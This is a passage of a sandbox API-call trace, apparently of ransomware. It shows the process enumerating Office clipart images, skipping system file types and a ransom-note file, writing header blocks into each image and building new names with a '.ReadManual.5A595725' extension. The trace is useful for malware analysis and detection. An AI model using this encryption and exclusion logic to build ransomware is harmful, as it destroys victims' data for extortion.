[0273.672] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.672] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.672] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.672] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.672] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.672] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.672] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.672] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.672] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.672] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.672] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.672] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" [0273.672] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.ReadManual.5A595725" [0273.672] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.ReadManual.5A595725") returned 87 [0273.672] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39434118395) returned 1 [0273.672] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg")) returned 0x20 [0273.673] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.674] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=41795) returned 1 [0273.674] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa343, lpName=0x0) returned 0x184 [0273.674] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.674] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.674] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.676] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.676] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa343) returned 0x2f0000 [0273.678] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.678] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39434667444) returned 1 [0273.678] CloseHandle (hObject=0x184) returned 1 [0273.678] SetSecurityInfo () returned 0x57 [0273.678] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.678] CloseHandle (hObject=0x194) returned 1 [0273.678] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa445, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH03224I.JPG", cAlternateFileName="")) returned 1 [0273.678] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH03224I.JPG" | out: lpString1="PH03224I.JPG") returned="PH03224I.JPG" [0273.678] lstrcmpiW (lpString1="PH03224I.JPG", lpString2="RecoveryManual.html") returned -1 [0273.678] StrStrIW (lpFirst="PH03224I.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.678] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.678] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.678] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.678] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.678] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.678] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.678] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.679] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.679] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.679] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.679] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.679] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.679] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.679] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.679] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" [0273.679] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.ReadManual.5A595725" [0273.679] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.ReadManual.5A595725") returned 87 [0273.679] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39434757429) returned 1 [0273.679] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg")) returned 0x20 [0273.679] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.679] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=42053) returned 1 [0273.679] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa445, lpName=0x0) returned 0x184 [0273.679] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.680] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.680] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.682] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.682] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa445) returned 0x2f0000 [0273.683] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.684] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39435239745) returned 1 [0273.684] CloseHandle (hObject=0x184) returned 1 [0273.684] SetSecurityInfo () returned 0x57 [0273.684] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.684] CloseHandle (hObject=0x194) returned 1 [0273.684] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ba2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH03379I.JPG", cAlternateFileName="")) returned 1 [0273.684] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH03379I.JPG" | out: lpString1="PH03379I.JPG") returned="PH03379I.JPG" [0273.684] lstrcmpiW (lpString1="PH03379I.JPG", lpString2="RecoveryManual.html") returned -1 [0273.684] StrStrIW (lpFirst="PH03379I.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.684] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.684] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.684] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.684] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.684] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.684] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.684] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.684] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.684] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.684] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.684] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.684] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.684] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.684] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.684] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" [0273.684] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.ReadManual.5A595725" [0273.684] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.ReadManual.5A595725") returned 87 [0273.685] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39435329187) returned 1 [0273.685] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg")) returned 0x20 [0273.685] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.686] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11170) returned 1 [0273.686] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ba2, lpName=0x0) returned 0x184 [0273.686] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.687] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.687] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.689] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.689] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ba2) returned 0x2f0000 [0273.689] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.689] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39435777894) returned 1 [0273.689] CloseHandle (hObject=0x184) returned 1 [0273.689] SetSecurityInfo () returned 0x57 [0273.689] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.689] CloseHandle (hObject=0x194) returned 1 [0273.689] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x321f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH03380I.JPG", cAlternateFileName="")) returned 1 [0273.689] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH03380I.JPG" | out: lpString1="PH03380I.JPG") returned="PH03380I.JPG" [0273.689] lstrcmpiW (lpString1="PH03380I.JPG", lpString2="RecoveryManual.html") returned -1 [0273.689] StrStrIW (lpFirst="PH03380I.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.689] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.689] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.689] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.690] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.690] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.690] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.690] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.690] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.690] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.690] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.690] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.690] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.690] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.690] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.690] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" [0273.690] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.ReadManual.5A595725" [0273.690] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.ReadManual.5A595725") returned 87 [0273.690] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39435868434) returned 1 [0273.690] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg")) returned 0x20 [0273.690] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.690] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12831) returned 1 [0273.691] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x321f, lpName=0x0) returned 0x184 [0273.691] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.691] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.691] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.693] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.693] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x321f) returned 0x2f0000 [0273.693] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.694] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39436237711) returned 1 [0273.694] CloseHandle (hObject=0x184) returned 1 [0273.694] SetSecurityInfo () returned 0x57 [0273.694] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.694] CloseHandle (hObject=0x194) returned 1 [0273.694] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbdae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH03425I.JPG", cAlternateFileName="")) returned 1 [0273.694] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH03425I.JPG" | out: lpString1="PH03425I.JPG") returned="PH03425I.JPG" [0273.694] lstrcmpiW (lpString1="PH03425I.JPG", lpString2="RecoveryManual.html") returned -1 [0273.694] StrStrIW (lpFirst="PH03425I.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.694] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.694] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.694] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.694] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.694] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.694] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.694] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.694] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.694] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.694] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.694] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.694] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.694] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.694] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.694] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" [0273.694] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.ReadManual.5A595725" [0273.694] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.ReadManual.5A595725") returned 87 [0273.695] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39436330469) returned 1 [0273.695] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg")) returned 0x20 [0273.695] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.695] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=48558) returned 1 [0273.695] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbdae, lpName=0x0) returned 0x184 [0273.695] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.696] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.696] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.698] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.698] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbdae) returned 0x2f0000 [0273.699] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.700] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39436840951) returned 1 [0273.700] CloseHandle (hObject=0x184) returned 1 [0273.700] SetSecurityInfo () returned 0x57 [0273.700] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.700] CloseHandle (hObject=0x194) returned 1 [0273.700] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xef6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PRRT.WMF", cAlternateFileName="")) returned 1 [0273.700] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PRRT.WMF" | out: lpString1="PRRT.WMF") returned="PRRT.WMF" [0273.700] lstrcmpiW (lpString1="PRRT.WMF", lpString2="RecoveryManual.html") returned -1 [0273.700] StrStrIW (lpFirst="PRRT.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.700] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0273.700] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0273.700] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0273.700] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0273.700] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0273.700] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0273.700] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0273.700] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0273.700] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0273.700] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0273.700] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0273.700] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0273.700] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0273.700] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0273.700] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" [0273.700] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.ReadManual.5A595725" [0273.700] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.ReadManual.5A595725") returned 83 [0273.701] QueryPerformanceCounter (in: 